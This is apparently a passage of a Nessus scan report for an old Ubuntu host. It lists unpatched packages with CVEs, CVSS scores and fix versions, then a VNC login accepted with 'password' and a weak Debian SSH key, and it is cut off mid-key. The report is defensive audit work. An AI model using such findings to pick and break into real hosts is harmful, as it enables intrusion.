| XREF | CWE:119 |

## Plugin Information

Published: 2009/07/15, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : dhcp3-client_3.0.6.dfsg-1ubuntu9
  - Fixed package     : dhcp3-client_3.0.6.dfsg-1ubuntu9.1

  - Installed package : dhcp3-common_3.0.6.dfsg-1ubuntu9
  - Fixed package     : dhcp3-common_3.0.6.dfsg-1ubuntu9.1
```

## 40576 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : libxml2 vulnerabilities (USN-815-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that libxml2 did not correctly handle root XML document element DTD definitions. If a user were tricked into processing a specially crafted XML document, a remote attacker could cause the application linked against libxml2 to crash, leading to a denial of service. (CVE-2009-2414)

It was discovered that libxml2 did not correctly parse Notation and Enumeration attribute types. If a user were tricked into processing a specially crafted XML document, a remote attacker could cause the application linked against libxml2 to crash, leading to a denial of service. (CVE-2009-2416)

USN-644-1 fixed a vulnerability in libxml2. This advisory provides the corresponding update for Ubuntu 9.04.

It was discovered that libxml2 did not correctly handle long entity names. If a user were tricked into processing a specially crafted XML document, a remote attacker could execute arbitrary code with user privileges or cause the application linked against libxml2 to crash, leading to a denial of service. (CVE-2008-3529).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/815-1/

### Solution

Update the affected packages.

### Risk Factor

Critical

### VPR Score

6.7

### EPSS Score

0.5886

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

7.8 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 31126 |
| BID | 36010 |
| CVE | CVE-2008-3529 |
| CVE | CVE-2009-2414 |
| CVE | CVE-2009-2416 |
| XREF | USN:815-1 |
| XREF | CWE:119 |
| XREF | CWE:399 |

### Plugin Information

Published: 2009/08/12, Modified: 2021/01/19

### Plugin Output

tcp/0

```
  - Installed package : libxml2_2.6.31.dfsg-2ubuntu1
  - Fixed package     : libxml2_2.6.31.dfsg-2ubuntu1.4
```

## 37762 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 : apt vulnerabilities (USN-762-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Alexandre Martani discovered that the APT daily cron script did not check the return code of the date command. If a machine is configured for automatic updates and is in a time zone where DST occurs at midnight, under certain circumstances automatic updates might not be applied and could become permanently disabled. (CVE-2009-1300)

Michael Casadevall discovered that APT did not properly verify repositories signed with a revoked or expired key. If a repository were signed with only an expired or revoked key and the signature was otherwise valid, APT would consider the repository valid.

(https://launchpad.net/bugs/356012)

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/762-1/

### Solution

Update the affected packages.

### Risk Factor

Critical

### VPR Score

5.9

### EPSS Score

0.0108

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### References

| | |
|---|---|
| CVE | CVE-2009-1300 |

| | |
|---|---|
| XREF | USN:762-1 |
| XREF | CWE:20 |

## Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : apt_0.7.9ubuntu17
  - Fixed package     : apt_0.7.9ubuntu17.2

  - Installed package : apt-utils_0.7.9ubuntu17
  - Fixed package     : apt-utils_0.7.9ubuntu17.2
```

## 50044 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS / 10.10 : linux, linux-ec2, linux-source-2.6.15 vulnerabilities (USN-1000-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Dan Rosenberg discovered that the RDS network protocol did not correctly check certain parameters. A local attacker could exploit this gain root privileges. (CVE-2010-3904)

Al Viro discovered a race condition in the TTY driver. A local attacker could exploit this to crash the system, leading to a denial of service. (CVE-2009-4895)

Dan Rosenberg discovered that the MOVE_EXT ext4 ioctl did not correctly check file permissions. A local attacker could overwrite append-only files, leading to potential data loss. (CVE-2010-2066)

Dan Rosenberg discovered that the swapexit xfs ioctl did not correctly check file permissions. A local attacker could exploit this to read from write-only files, leading to a loss of privacy. (CVE-2010-2226)

Suresh Jayaraman discovered that CIFS did not correctly validate certain response packats. A remote attacker could send specially crafted traffic that would crash the system, leading to a denial of service. (CVE-2010-2248)

Ben Hutchings discovered that the ethtool interface did not correctly check certain sizes. A local attacker could perform malicious ioctl calls that could crash the system, leading to a denial of service.

(CVE-2010-2478, CVE-2010-3084)

James Chapman discovered that L2TP did not correctly evaluate checksum capabilities. If an attacker could make malicious routing changes, they could crash the system, leading to a denial of service.

(CVE-2010-2495)

Neil Brown discovered that NFSv4 did not correctly check certain write requests. A remote attacker could send specially crafted traffic that could crash the system or possibly gain root privileges.

(CVE-2010-2521)

David Howells discovered that DNS resolution in CIFS could be spoofed.

A local attacker could exploit this to control DNS replies, leading to a loss of privacy and possible privilege escalation. (CVE-2010-2524)

Dan Rosenberg discovered a flaw in gfs2 file system's handling of acls (access control lists). An unprivileged local attacker could exploit this flaw to gain access or execute any file stored in the gfs2 file system. (CVE-2010-2525)

Bob Peterson discovered that GFS2 rename operations did not correctly validate certain sizes. A local attacker could exploit this to crash the system, leading to a denial of service. (CVE-2010-2798)

Eric Dumazet discovered that many network functions could leak kernel stack contents. A local attacker could exploit this to read portions of kernel memory, leading to a loss of privacy. (CVE-2010-2942, CVE-2010-3477)

Sergey Vlasov discovered that JFS did not correctly handle certain extended attributes. A local attacker could bypass namespace access rules, leading to a loss of privacy. (CVE-2010-2946)

Tavis Ormandy discovered that the IRDA subsystem did not correctly shut down. A local attacker could exploit this to cause the system to crash or possibly gain root privileges. (CVE-2010-2954)

Brad Spengler discovered that the wireless extensions did not correctly validate certain request sizes. A local attacker could exploit this to read portions of kernel memory, leading to a loss of privacy. (CVE-2010-2955)

Tavis Ormandy discovered that the session keyring did not correctly check for its parent. On systems without a default session keyring, a local attacker could exploit this to crash the system, leading to a denial of service. (CVE-2010-2960)

Kees Cook discovered that the V4L1 32bit compat interface did not correctly validate certain parameters. A local attacker on a 64bit system with access to a video device could exploit this to gain root privileges. (CVE-2010-2963)

Toshiyuki Okajima discovered that ext4 did not correctly check certain parameters. A local attacker could exploit this to crash the system or overwrite the last block of large files. (CVE-2010-3015)

Tavis Ormandy discovered that the AIO subsystem did not correctly validate certain parameters. A local attacker could exploit this to crash the system or possibly gain root privileges. (CVE-2010-3067)

Dan Rosenberg discovered that certain XFS ioctls leaked kernel stack contents. A local attacker could exploit this to read portions of kernel memory, leading to a loss of privacy. (CVE-2010-3078)

Tavis Ormandy discovered that the OSS sequencer device did not correctly shut down. A local attacker could exploit this to crash the system or possibly gain root privileges. (CVE-2010-3080)

Dan Rosenberg discovered that the ROSE driver did not correctly check parameters. A local attacker with access to a ROSE network device could exploit this to crash the system or possibly gain root privileges. (CVE-2010-3310)

Thomas Dreibholz discovered that SCTP did not correctly handle appending packet chunks. A remote attacker could send specially crafted traffic to crash the system, leading to a denial of service.

(CVE-2010-3432)

Dan Rosenberg discovered that the CD driver did not correctly check parameters. A local attacker could exploit this to read arbitrary kernel memory, leading to a loss of privacy. (CVE-2010-3437)

Dan Rosenberg discovered that the Sound subsystem did not correctly validate parameters. A local attacker could exploit this to crash the system, leading to a denial of service. (CVE-2010-3442)

Dan Rosenberg discovered that SCTP did not correctly handle HMAC calculations. A remote attacker could send specially crafted traffic that would crash the system, leading to a denial of service.

(CVE-2010-3705)

Joel Becker discovered that OCFS2 did not correctly validate on-disk symlink structures. If an attacker were able to trick a user or automated system into mounting a specially crafted filesystem, it could crash the system or expose kernel memory, leading to a loss of privacy. (CVE-2010-NNN2).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

## See Also

https://usn.ubuntu.com/1000-1/

Solution

Update the affected packages.

Risk Factor

Critical

VPR Score

8.9

EPSS Score

0.0432

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.7 (CVSS2#E:H/RL:OF/RC:C)

References

| | |
|---|---|
| BID | 40867 |
| BID | 40920 |
| BID | 41077 |
| BID | 41223 |
| BID | 41466 |
| BID | 41904 |
| BID | 42124 |
| BID | 42242 |
| BID | 42249 |
| BID | 42477 |
| BID | 42529 |
| BID | 42589 |
| BID | 42885 |
| BID | 42900 |
| BID | 42932 |
| BID | 43022 |
| BID | 43062 |
| BID | 43098 |
| BID | 43353 |
| BID | 43368 |

| | |
|---|---|
| BID | 43480 |
| BID | 43551 |
| BID | 43701 |
| BID | 43787 |
| BID | 44219 |
| CVE | CVE-2009-4895 |
| CVE | CVE-2010-2066 |
| CVE | CVE-2010-2226 |
| CVE | CVE-2010-2248 |
| CVE | CVE-2010-2478 |
| CVE | CVE-2010-2495 |
| CVE | CVE-2010-2521 |
| CVE | CVE-2010-2524 |
| CVE | CVE-2010-2525 |
| CVE | CVE-2010-2798 |
| CVE | CVE-2010-2942 |
| CVE | CVE-2010-2946 |
| CVE | CVE-2010-2954 |
| CVE | CVE-2010-2955 |
| CVE | CVE-2010-2960 |
| CVE | CVE-2010-2963 |
| CVE | CVE-2010-3015 |
| CVE | CVE-2010-3067 |
| CVE | CVE-2010-3078 |
| CVE | CVE-2010-3080 |
| CVE | CVE-2010-3084 |
| CVE | CVE-2010-3310 |
| CVE | CVE-2010-3432 |
| CVE | CVE-2010-3437 |
| CVE | CVE-2010-3442 |
| CVE | CVE-2010-3477 |
| CVE | CVE-2010-3705 |
| CVE | CVE-2010-3904 |
| XREF | USN:1000-1 |
| XREF | CISA-KNOWN-EXPLOITED:2023/06/02 |

## Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

## Plugin Information

Published: 2010/10/20, Modified: 2023/05/14

## Plugin Output

### tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-28.80

  - Installed package : linux-libc-dev_2.6.24-27.68
  - Fixed package     : linux-libc-dev_2.6.24-28.80


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 49805 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS / 10.10 : openssl vulnerabilities (USN-1003-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that OpenSSL incorrectly handled return codes from the bn_wexpand function calls. A remote attacker could trigger this flaw in services that used SSL to cause a denial of service or possibly execute arbitrary code with application privileges. This issue only affected Ubuntu 6.06 LTS, 8.04 LTS, 9.04 and 9.10.

(CVE-2009-3245)

It was discovered that OpenSSL incorrectly handled certain private keys with an invalid prime. A remote attacker could trigger this flaw in services that used SSL to cause a denial of service or possibly execute arbitrary code with application privileges. The default compiler options for affected releases should reduce the vulnerability to a denial of service. (CVE-2010-2939).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1003-1/

### Solution

Update the affected packages.

### Risk Factor

Critical

### VPR Score

5.9

### EPSS Score

0.1675

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

7.8 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 38562 |
| BID | 42306 |
| CVE | CVE-2009-3245 |
| CVE | CVE-2010-2939 |
| XREF | USN:1003-1 |
| XREF | CWE:20 |

### Plugin Information

Published: 2010/10/08, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : openssl_0.9.8g-4ubuntu3
  - Fixed package     : openssl_0.9.8g-4ubuntu3.11
```

## 37337 - Ubuntu 7.10 / 8.04 LTS / 8.10 : linux, linux-source-2.6.22 vulnerabilities (USN-751-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

NFS did not correctly handle races between fcntl and interrupts. A local attacker on an NFS mount could consume unlimited kernel memory, leading to a denial of service. Ubuntu 8.10 was not affected.

(CVE-2008-4307)

Sparc syscalls did not correctly check mmap regions. A local attacker could cause a system panic, leading to a denial of service. Ubuntu 8.10 was not affected. (CVE-2008-6107)

In certain situations, cloned processes were able to send signals to parent processes, crossing privilege boundaries. A local attacker could send arbitrary signals to parent processes, leading to a denial of service. (CVE-2009-0028)

The kernel keyring did not free memory correctly. A local attacker could consume unlimited kernel memory, leading to a denial of service.

(CVE-2009-0031)

The SCTP stack did not correctly validate FORWARD-TSN packets. A remote attacker could send specially crafted SCTP traffic causing a system crash, leading to a denial of service. (CVE-2009-0065)

The eCryptfs filesystem did not correctly handle certain VFS return codes. A local attacker with write-access to an eCryptfs filesystem could cause a system crash, leading to a denial of service.

(CVE-2009-0269)

The Dell platform device did not correctly validate user parameters. A local attacker could perform specially crafted reads to crash the system, leading to a denial of service. (CVE-2009-0322)

The page fault handler could consume stack memory. A local attacker could exploit this to crash the system or gain root privileges with a Kprobe registered. Only Ubuntu 8.10 was affected. (CVE-2009-0605)

Network interfaces statistics for the SysKonnect FDDI driver did not check capabilities. A local user could reset statistics, potentially interfering with packet accounting systems. (CVE-2009-0675)

The getsockopt function did not correctly clear certain parameters. A local attacker could read leaked kernel memory, leading to a loss of privacy. (CVE-2009-0676)

The ext4 filesystem did not correctly clear group descriptors when resizing. A local attacker could exploit this to crash the system, leading to a denial of service. (CVE-2009-0745)

The ext4 filesystem did not correctly validate certain fields. A local attacker could mount a malicious ext4 filesystem, causing a system crash, leading to a denial of service. (CVE-2009-0746, CVE-2009-0747, CVE-2009-0748)

The syscall interface did not correctly validate parameters when crossing the 64-bit/32-bit boundary. A local attacker could bypass certain syscall restricts via crafted syscalls. (CVE-2009-0834, CVE-2009-0835)

The shared memory subsystem did not correctly handle certain shmctl calls when CONFIG_SHMEM was disabled. Ubuntu kernels were not vulnerable, since CONFIG_SHMEM is enabled by default. (CVE-2009-0859)

The virtual consoles did not correctly handle certain UTF-8 sequences.

A local attacker on the physical console could exploit this to cause a system crash, leading to a denial of service. (CVE-2009-1046).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

## See Also

https://usn.ubuntu.com/751-1/

## Solution

Update the affected packages.

## Risk Factor

Critical

## VPR Score

6.7

## EPSS Score

0.0894

## CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

## CVSS v2.0 Temporal Score

7.8 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 33113 |
| BID | 33672 |
| BID | 33846 |
| BID | 33948 |
| BID | 33951 |
| BID | 34020 |
| CVE | CVE-2008-4307 |
| CVE | CVE-2008-6107 |
| CVE | CVE-2009-0028 |
| CVE | CVE-2009-0031 |

| | |
|---|---|
| CVE | CVE-2009-0065 |
| CVE | CVE-2009-0269 |
| CVE | CVE-2009-0322 |
| CVE | CVE-2009-0605 |
| CVE | CVE-2009-0675 |
| CVE | CVE-2009-0676 |
| CVE | CVE-2009-0745 |
| CVE | CVE-2009-0746 |
| CVE | CVE-2009-0747 |
| CVE | CVE-2009-0748 |
| CVE | CVE-2009-0834 |
| CVE | CVE-2009-0835 |
| CVE | CVE-2009-0859 |
| CVE | CVE-2009-1046 |
| XREF | USN:751-1 |
| XREF | CWE:20 |
| XREF | CWE:119 |
| XREF | CWE:189 |
| XREF | CWE:264 |
| XREF | CWE:362 |
| XREF | CWE:399 |

## Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-23.52


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 58444 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : freetype vulnerabilities (USN-1403-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed BDF font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash. (CVE-2012-1126)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed BDF font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash. (CVE-2012-1127)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed TrueType font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash. (CVE-2012-1128)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed Type42 font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash. (CVE-2012-1129)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed PCF font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash. (CVE-2012-1130)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed TrueType font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash. (CVE-2012-1131)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed Type1 font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash. (CVE-2012-1132)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed BDF font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash or possibly execute arbitrary code with user privileges.

(CVE-2012-1133)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed Type1 font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash or possibly execute arbitrary code with user privileges.

(CVE-2012-1134)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed TrueType font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash. (CVE-2012-1135)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed BDF font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash or possibly execute arbitrary code with user privileges.

(CVE-2012-1136)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed BDF font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash. (CVE-2012-1137)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed TrueType font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash. (CVE-2012-1138)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed BDF font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash. (CVE-2012-1139)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed PostScript font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash. (CVE-2012-1140)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed BDF font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash. (CVE-2012-1141)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed Windows FNT/FON font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash. (CVE-2012-1142)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash. (CVE-2012-1143)

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed TrueType font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash or possibly execute arbitrary code with user privileges. (CVE-2012-1144).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

## See Also

https://usn.ubuntu.com/1403-1/

## Solution

Update the affected libfreetype6 package.

## Risk Factor

Critical

## VPR Score

5.9

## EPSS Score

0.0586

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

7.4 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 52318 |
| CVE | CVE-2012-1126 |
| CVE | CVE-2012-1127 |
| CVE | CVE-2012-1128 |
| CVE | CVE-2012-1129 |
| CVE | CVE-2012-1130 |
| CVE | CVE-2012-1131 |
| CVE | CVE-2012-1132 |
| CVE | CVE-2012-1133 |
| CVE | CVE-2012-1134 |
| CVE | CVE-2012-1135 |
| CVE | CVE-2012-1136 |
| CVE | CVE-2012-1137 |
| CVE | CVE-2012-1138 |
| CVE | CVE-2012-1139 |
| CVE | CVE-2012-1140 |
| CVE | CVE-2012-1141 |
| CVE | CVE-2012-1142 |
| CVE | CVE-2012-1143 |
| CVE | CVE-2012-1144 |
| XREF | USN:1403-1 |

### Plugin Information

Published: 2012/03/23, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : libfreetype6_2.3.5-1ubuntu4.8.04.2
  - Fixed package     : libfreetype6_2.3.5-1ubuntu4.8.04.9
```

## 58743 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 : samba vulnerability (USN-1423-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Brian Gorenc discovered that Samba incorrectly calculated array bounds when handling remote procedure calls (RPC) over the network. A remote, unauthenticated attacker could exploit this to execute arbitrary code as the root user. (CVE-2012-1182).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1423-1/

### Solution

Update the affected samba package.

### Risk Factor

Critical

### VPR Score

7.4

### EPSS Score

0.764

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 52973 |
| CVE | CVE-2012-1182 |
| XREF | USN:1423-1 |

### Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

### Plugin Information

Published: 2012/04/13, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : samba_3.0.20-0.1ubuntu1
  - Fixed package     : samba_3.0.28a-1ubuntu4.18
```

## 40529 - Ubuntu 8.04 LTS / 8.10 / 9.04 : apr vulnerability (USN-813-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Matt Lewis discovered that apr did not properly sanitize its input when allocating memory. If an application using apr processed crafted input, a remote attacker could cause a denial of service or potentially execute arbitrary code as the user invoking the application.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/813-1/

### Solution

Update the affected libapr1, libapr1-dbg and / or libapr1-dev packages.

### Risk Factor

Critical

### VPR Score

6.7

### EPSS Score

0.0556

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

7.4 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 35949 |
| CVE | CVE-2009-2412 |
| XREF | USN:813-1 |

XREF CWE:189

## Plugin Information

Published: 2009/08/10, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : libapr1_1.2.11-1
  - Fixed package     : libapr1_1.2.11-1ubuntu0.1
```

## 40531 - Ubuntu 8.04 LTS / 8.10 / 9.04 : apr-util vulnerability (USN-813-3)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

USN-813-1 fixed vulnerabilities in apr. This update provides the corresponding updates for apr-util.

Matt Lewis discovered that apr did not properly sanitize its input when allocating memory. If an application using apr processed crafted input, a remote attacker could cause a denial of service or potentially execute arbitrary code as the user invoking the application.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/813-3/

### Solution

Update the affected libaprutil1, libaprutil1-dbg and / or libaprutil1-dev packages.

### Risk Factor

Critical

### VPR Score

6.7

### EPSS Score

0.0556

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

7.4 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 35949 |

| | |
|---|---|
| CVE | CVE-2009-2412 |
| XREF | USN:813-3 |
| XREF | CWE:189 |

## Plugin Information

Published: 2009/08/10, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : libaprutil1_1.2.12+dfsg-3
  - Fixed package     : libaprutil1_1.2.12+dfsg-3ubuntu0.2
```

## 56388 - Ubuntu 8.04 LTS : linux vulnerabilities (USN-1225-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Timo Warns discovered that the EFI GUID partition table was not correctly parsed. A physically local attacker that could insert mountable devices could exploit this to crash the system or possibly gain root privileges. (CVE-2011-1776)

Dan Rosenberg discovered that the IPv4 diagnostic routines did not correctly validate certain requests. A local attacker could exploit this to consume CPU resources, leading to a denial of service.

(CVE-2011-2213)

Dan Rosenberg discovered that the Bluetooth stack incorrectly handled certain L2CAP requests. If a system was using Bluetooth, a remote attacker could send specially crafted traffic to crash the system or gain root privileges. (CVE-2011-2497)

Fernando Gont discovered that the IPv6 stack used predictable fragment identification numbers. A remote attacker could exploit this to exhaust network resources, leading to a denial of service.

(CVE-2011-2699)

Time Warns discovered that long symlinks were incorrectly handled on Be filesystems. A local attacker could exploit this with a malformed Be filesystem and crash the system, leading to a denial of service.

(CVE-2011-2928)

Darren Lavender discovered that the CIFS client incorrectly handled certain large values. A remote attacker with a malicious server could exploit this to crash the system or possibly execute arbitrary code as the root user. (CVE-2011-3191).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1225-1/

### Solution

Update the affected packages.

### Risk Factor

Critical

### VPR Score

5.9

### EPSS Score

0.0279

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

8.7 (CVSS2#E:ND/RL:OF/RC:ND)

### References

| | |
|---|---|
| BID | 47796 |
| BID | 48333 |
| BID | 48472 |
| BID | 48802 |
| BID | 49256 |
| BID | 49295 |
| CVE | CVE-2011-1776 |
| CVE | CVE-2011-2213 |
| CVE | CVE-2011-2497 |
| CVE | CVE-2011-2699 |
| CVE | CVE-2011-2928 |
| CVE | CVE-2011-3191 |
| XREF | USN:1225-1 |

### Plugin Information

Published: 2011/10/05, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-29.94


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 61708 - VNC Server 'password' Password

### Synopsis

A VNC server running on the remote host is secured with a weak password.

### Description

The VNC server running on the remote host is secured with a weak password. Nessus was able to login using VNC authentication and a password of 'password'. A remote, unauthenticated attacker could exploit this to take control of the system.

### Solution

Secure the VNC service with a strong password.

### Risk Factor

Critical

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### Plugin Information

Published: 2012/08/29, Modified: 2015/09/24

### Plugin Output

tcp/5900/vnc

```
Nessus logged in using a password of "password".
```

## 32320 - Weak Debian OpenSSH Keys in ~/.ssh/authorized_keys

### Synopsis

The remote SSH host is set up to accept authentication with weak Debian SSH keys.

### Description

The remote host has one or more ~/.ssh/authorized_keys files containing weak SSH public keys generated on a Debian or Ubuntu system.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

This problem does not only affect Debian since any user uploading a weak SSH key into the ~/.ssh/authorized_keys file will compromise the security of the remote system.

An attacker could try a brute-force attack against the remote host and logon using these weak keys.

### Solution

Remove all the offending entries from ~/.ssh/authorized_keys.

### Risk Factor

Critical

### CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

### VPR Score

5.1

### EPSS Score

0.0165

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 29179 |

| | |
|---|---|
| CVE | CVE-2008-0166 |
| XREF | CERT:925211 |
| XREF | EDB-ID:5720 |
| XREF | CWE:310 |

### Exploitable With

Core Impact (true)

### Plugin Information

Published: 2008/05/15, Modified: 2023/11/27

### Plugin Output

tcp/0

```
In file /home/user/.ssh/id_dsa.pub:
line 1:
ssh-dss AAAAB3NzaC1kc3MAAACBANWgcbHvxF2YRX0gTizyoZazzHiU5+63hKFOhzJch8dZ
QpFU5gGkDkZ30rC4jrNqCXNDN50RA4ylcNtO78B/I4+5YCZ39faSiXIoLfi8tOVWtTtg3lku
v3eSV0zuSGeqZPHMtep6iizQA5yoClkCyj8swXH+cPBG5uRPiXYL911rAAAAFQDL+pKrLy6v
